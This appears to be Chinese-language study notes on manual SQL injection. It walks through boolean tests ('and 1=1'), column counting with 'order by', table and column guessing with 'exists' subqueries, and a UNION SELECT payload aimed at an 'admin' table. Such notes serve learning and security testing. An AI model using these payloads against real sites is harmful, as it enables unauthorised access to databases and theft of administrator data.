表-字段-数据:
判断注入:
and 1=1 and 1=2
查询语句:
select * from new where id=14 and 1=1 //条件为真 返回正常 select * from new where id=14 and 1=2 //条件为假 返回错误 select * from new where id=14 or 1=1 //永真条件会返回数据库中全部结果 select * from new where id=14 or 1=2 //返回id为14的结果
猜解字段:
order by 22 #
说明:这里判断出来的字段是当前页面所连接的表的字段个数;准确的说是当前页面SQL语句查询数据库里的字段个数,例如select * from news猜出的字段数就是news表中所有字段个数。
order by 是按照字段数据进行排序,用法为:order by 字段名,之所以能用来判断字段个数是因为,order by 1 <==> 按第一个字段排序,如果查询结果中一共22个字段order by 23就会出错。
注意:从url上难以分辨当前的数据表是哪一个,但是存在注入的地方都支持查询其他表以及管理员表的数据。
union select:
原理:UNION是联合查询,将前后两条查询语句的结果组和到一起返回。SELECT后面的数字只是为了占位置,因为两条查询结果字段数不同的话会出错不会正常返回。
利用回显的数字,继续深入查询自己想要的数据。
测试存在注入点之后的操作:
猜测表名:
and exists (select * from 表名) //数据库里面存在的表名就返回正常,不存在则返回错误,这个只能凭经验或者暴力猜解
猜列名称:
and exists (select 列名 from 表名)
利用union查询数据:
UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin